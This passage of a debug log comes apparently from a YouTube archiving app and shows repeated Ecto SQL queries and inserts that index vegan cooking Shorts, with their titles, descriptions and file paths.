s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:53.340 [debug] QUERY OK source="sources" db=0.5ms queue=0.5ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:53.342 [debug] QUERY OK source="media_items" db=2.3ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-27 23:00:22Z], 1] 20:27:53.343 [debug] QUERY OK source="media_items" db=0.7ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Is this possibly Homer and Bart Simpson's best idea ever for staying cool in the summertime? For maybe some better ideas, subscribe and stay tuned for some of our upcoming vegan and gluten free ice cream review and recipe videos!", "Homer Simpson’s Best Idea Ever For Homemade AC 😂❄️#shorts #youtubeshorts", "93cfdb39-8cfe-4d64-b824-89395c0bee0c", 1, [], 12, false, "UPTRwrFXw2s", "https://www.youtube.com/shorts/UPTRwrFXw2s", 283, "/downloads/downloads/alec/Steamy Vegan/2022-07-27 Homer Simpson’s Best Idea Ever For Homemade AC 😂❄️#shorts #youtubeshorts/Homer Simpson’s Best Idea Ever For Homemade AC 😂❄️#shorts #youtubeshorts [UPTRwrFXw2s].NA", false, false, true, 0, ~U[2022-07-27 23:00:22Z], ~U[2026-03-22 03:27:53Z], ~U[2026-03-22 03:27:53Z], "Is this possibly Homer and Bart Simpson's best idea ever for staying cool in the summertime? For maybe some better ideas, subscribe and stay tuned for some of our upcoming vegan and gluten free ice cream review and recipe videos!", "Homer Simpson’s Best Idea Ever For Homemade AC 😂❄️#shorts #youtubeshorts", 1, 12, false, "UPTRwrFXw2s", "https://www.youtube.com/shorts/UPTRwrFXw2s", "/downloads/downloads/alec/Steamy Vegan/2022-07-27 Homer Simpson’s Best Idea Ever For Homemade AC 😂❄️#shorts #youtubeshorts/Homer Simpson’s Best Idea Ever For Homemade AC 😂❄️#shorts #youtubeshorts [UPTRwrFXw2s].NA", true, ~U[2022-07-27 23:00:22Z]] 20:27:53.344 [debug] QUERY OK source="sources" db=0.9ms idle=95.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:53.346 [debug] QUERY OK source="media_profiles" db=0.8ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:53.347 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [672] 20:27:53.347 [debug] Current batch of media processed. Will check again in 1000ms 20:27:54.348 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It is really hot where I live so we decided to film a vegan ice cream review video to find out which vegan ice cream is the best. A win for us because we get to eat plant based ice cream all day and a win for you because maybe this video will help cool you down and you'll find out the best one to buy.\n\nSubscribe as this video will be dropping later this week and you won't want to miss it! Thanks for your support! Janelle", "duration" => 8, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-27 The best vegan ice cream to cool your balls… I mean yourself 😱🥶🍦#shorts #youtubeshorts/The best vegan ice cream to cool your balls… I mean yourself 😱🥶🍦#shorts #youtubeshorts [fc6Qc4N8_xU].NA", "id" => "fc6Qc4N8_xU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/fc6Qc4N8_xU", "playlist_index" => 284, "timestamp" => 1658944821, "title" => "The best vegan ice cream to cool your balls… I mean yourself 😱🥶🍦#shorts #youtubeshorts", "upload_date" => "20220727"} 20:27:54.349 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:54.350 [debug] QUERY OK source="sources" db=0.5ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:54.353 [debug] QUERY OK source="media_items" db=2.2ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-27 18:00:21Z], 1] 20:27:54.354 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It is really hot where I live so we decided to film a vegan ice cream review video to find out which vegan ice cream is the best. A win for us because we get to eat plant based ice cream all day and a win for you because maybe this video will help cool you down and you'll find out the best one to buy.\n\nSubscribe as this video will be dropping later this week and you won't want to miss it! Thanks for your support! Janelle", "The best vegan ice cream to cool your balls… I mean yourself 😱🥶🍦#shorts #youtubeshorts", "e0ac6706-0c3a-4b7b-8603-16a51479e73b", 1, [], 8, false, "fc6Qc4N8_xU", "https://www.youtube.com/shorts/fc6Qc4N8_xU", 284, "/downloads/downloads/alec/Steamy Vegan/2022-07-27 The best vegan ice cream to cool your balls… I mean yourself 😱🥶🍦#shorts #youtubeshorts/The best vegan ice cream to cool your balls… I mean yourself 😱🥶🍦#shorts #youtubeshorts [fc6Qc4N8_xU].NA", false, false, true, 1, ~U[2022-07-27 18:00:21Z], ~U[2026-03-22 03:27:54Z], ~U[2026-03-22 03:27:54Z], "It is really hot where I live so we decided to film a vegan ice cream review video to find out which vegan ice cream is the best. A win for us because we get to eat plant based ice cream all day and a win for you because maybe this video will help cool you down and you'll find out the best one to buy.\n\nSubscribe as this video will be dropping later this week and you won't want to miss it! Thanks for your support! Janelle", "The best vegan ice cream to cool your balls… I mean yourself 😱🥶🍦#shorts #youtubeshorts", 1, 8, false, "fc6Qc4N8_xU", "https://www.youtube.com/shorts/fc6Qc4N8_xU", "/downloads/downloads/alec/Steamy Vegan/2022-07-27 The best vegan ice cream to cool your balls… I mean yourself 😱🥶🍦#shorts #youtubeshorts/The best vegan ice cream to cool your balls… I mean yourself 😱🥶🍦#shorts #youtubeshorts [fc6Qc4N8_xU].NA", true, ~U[2022-07-27 18:00:21Z]] 20:27:54.355 [debug] QUERY OK source="sources" db=0.5ms idle=103.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:54.356 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:54.357 [debug] QUERY OK source="media_items" db=0.6ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [673] 20:27:54.357 [debug] Current batch of media processed. Will check again in 1000ms 20:27:55.358 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This vegan and gluten free blueberry pie is so easy to make and it only takes 30 minutes, and it is absolutely DELICIOUS! The prep time is only 5 minutes to make this no-bake blueberry filling and then 25 minutes to bake the gluten free and vegan pie crust. 🤤\n\n4 ingredients, minimal effort, maximal yumminess! Watch the full recipe video here ⬇️\nhttps://youtu.be/s9AjXIrzz4w\n\nFull recipe: https://steamyvegankitchen.com/lazy-double-blueberry-pie/", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-26 Make this easy 30 minute blueberry pie! Vegan + gluten-free 🌱 #shorts #youtubeshorts/Make this easy 30 minute blueberry pie! Vegan + gluten-free 🌱 #shorts #youtubeshorts [rJX5JU2s5z8].NA", "id" => "rJX5JU2s5z8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/rJX5JU2s5z8", "playlist_index" => 285, "timestamp" => 1658874610, "title" => "Make this easy 30 minute blueberry pie! Vegan + gluten-free 🌱 #shorts #youtubeshorts", "upload_date" => "20220726"} 20:27:55.359 [debug] QUERY OK source="sources" db=0.4ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:55.360 [debug] QUERY OK source="sources" db=0.5ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:55.362 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-26 22:30:10Z], 1] 20:27:55.363 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free blueberry pie is so easy to make and it only takes 30 minutes, and it is absolutely DELICIOUS! The prep time is only 5 minutes to make this no-bake blueberry filling and then 25 minutes to bake the gluten free and vegan pie crust. 🤤\n\n4 ingredients, minimal effort, maximal yumminess! Watch the full recipe video here ⬇️\nhttps://youtu.be/s9AjXIrzz4w\n\nFull recipe: https://steamyvegankitchen.com/lazy-double-blueberry-pie/", "Make this easy 30 minute blueberry pie! Vegan + gluten-free 🌱 #shorts #youtubeshorts", "de840233-b81d-4577-b73c-8437138d66a1", 1, [], 27, false, "rJX5JU2s5z8", "https://www.youtube.com/shorts/rJX5JU2s5z8", 285, "/downloads/downloads/alec/Steamy Vegan/2022-07-26 Make this easy 30 minute blueberry pie! Vegan + gluten-free 🌱 #shorts #youtubeshorts/Make this easy 30 minute blueberry pie! Vegan + gluten-free 🌱 #shorts #youtubeshorts [rJX5JU2s5z8].NA", false, false, true, 0, ~U[2022-07-26 22:30:10Z], ~U[2026-03-22 03:27:55Z], ~U[2026-03-22 03:27:55Z], "This vegan and gluten free blueberry pie is so easy to make and it only takes 30 minutes, and it is absolutely DELICIOUS! The prep time is only 5 minutes to make this no-bake blueberry filling and then 25 minutes to bake the gluten free and vegan pie crust. 🤤\n\n4 ingredients, minimal effort, maximal yumminess! Watch the full recipe video here ⬇️\nhttps://youtu.be/s9AjXIrzz4w\n\nFull recipe: https://steamyvegankitchen.com/lazy-double-blueberry-pie/", "Make this easy 30 minute blueberry pie! Vegan + gluten-free 🌱 #shorts #youtubeshorts", 1, 27, false, "rJX5JU2s5z8", "https://www.youtube.com/shorts/rJX5JU2s5z8", "/downloads/downloads/alec/Steamy Vegan/2022-07-26 Make this easy 30 minute blueberry pie! Vegan + gluten-free 🌱 #shorts #youtubeshorts/Make this easy 30 minute blueberry pie! Vegan + gluten-free 🌱 #shorts #youtubeshorts [rJX5JU2s5z8].NA", true, ~U[2022-07-26 22:30:10Z]] 20:27:55.364 [debug] QUERY OK source="sources" db=0.4ms idle=109.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:55.364 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:55.365 [debug] QUERY OK source="media_items" db=0.4ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [674] 20:27:55.365 [debug] Current batch of media processed. Will check again in 1000ms 20:27:56.366 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I'm not kidding around. This blueberry pie might be lazy, but it is absolutely DELICIOUS! 🤤\n\n4 ingredients, minimal effort, maximal yumminess! Watch the full recipe video here ⬇️\nhttps://youtu.be/s9AjXIrzz4w\n\nFull recipe: https://steamyvegankitchen.com/lazy-double-blueberry-pie/", "duration" => 9, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-26 The easiest pie you’ll ever make… in your whole life 🫐🥧 LAZY BLUEBERRY PIE 💙 #shorts/The easiest pie you’ll ever make… in your whole life 🫐🥧 LAZY BLUEBERRY PIE 💙 #shorts [pPrlQ5BLUfs].NA", "id" => "pPrlQ5BLUfs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/pPrlQ5BLUfs", "playlist_index" => 286, "timestamp" => 1658866748, "title" => "The easiest pie you’ll ever make… in your whole life 🫐🥧 LAZY BLUEBERRY PIE 💙 #shorts", "upload_date" => "20220726"} 20:27:56.367 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:56.368 [debug] QUERY OK source="sources" db=0.5ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:56.371 [debug] QUERY OK source="media_items" db=2.4ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-26 20:19:08Z], 1] 20:27:56.372 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm not kidding around. This blueberry pie might be lazy, but it is absolutely DELICIOUS! 🤤\n\n4 ingredients, minimal effort, maximal yumminess! Watch the full recipe video here ⬇️\nhttps://youtu.be/s9AjXIrzz4w\n\nFull recipe: https://steamyvegankitchen.com/lazy-double-blueberry-pie/", "The easiest pie you’ll ever make… in your whole life 🫐🥧 LAZY BLUEBERRY PIE 💙 #shorts", "bf8abfb0-dd3b-43db-b114-7621346e295a", 1, [], 9, false, "pPrlQ5BLUfs", "https://www.youtube.com/shorts/pPrlQ5BLUfs", 286, "/downloads/downloads/alec/Steamy Vegan/2022-07-26 The easiest pie you’ll ever make… in your whole life 🫐🥧 LAZY BLUEBERRY PIE 💙 #shorts/The easiest pie you’ll ever make… in your whole life 🫐🥧 LAZY BLUEBERRY PIE 💙 #shorts [pPrlQ5BLUfs].NA", false, false, true, 1, ~U[2022-07-26 20:19:08Z], ~U[2026-03-22 03:27:56Z], ~U[2026-03-22 03:27:56Z], "I'm not kidding around. This blueberry pie might be lazy, but it is absolutely DELICIOUS! 🤤\n\n4 ingredients, minimal effort, maximal yumminess! Watch the full recipe video here ⬇️\nhttps://youtu.be/s9AjXIrzz4w\n\nFull recipe: https://steamyvegankitchen.com/lazy-double-blueberry-pie/", "The easiest pie you’ll ever make… in your whole life 🫐🥧 LAZY BLUEBERRY PIE 💙 #shorts", 1, 9, false, "pPrlQ5BLUfs", "https://www.youtube.com/shorts/pPrlQ5BLUfs", "/downloads/downloads/alec/Steamy Vegan/2022-07-26 The easiest pie you’ll ever make… in your whole life 🫐🥧 LAZY BLUEBERRY PIE 💙 #shorts/The easiest pie you’ll ever make… in your whole life 🫐🥧 LAZY BLUEBERRY PIE 💙 #shorts [pPrlQ5BLUfs].NA", true, ~U[2022-07-26 20:19:08Z]] 20:27:56.373 [debug] QUERY OK source="sources" db=0.4ms idle=116.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:56.374 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:56.374 [debug] QUERY OK source="media_items" db=0.4ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [675] 20:27:56.374 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Let's be honest, you've been there, just like Jennifer Lawrence in this Saturday Night Live skit. Working in restaurants is not an easy job and we've all had these kinda days. \n\nIf you enjoy daily laughs and food recipes then make sure to subscribe so you don't miss any of our videos! Thanks for the support! Janelle", "duration" => 33, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-26 What Restaurant Workers Really Want to Say to Customers 😳 with Jennifer Lawrence #shorts/What Restaurant Workers 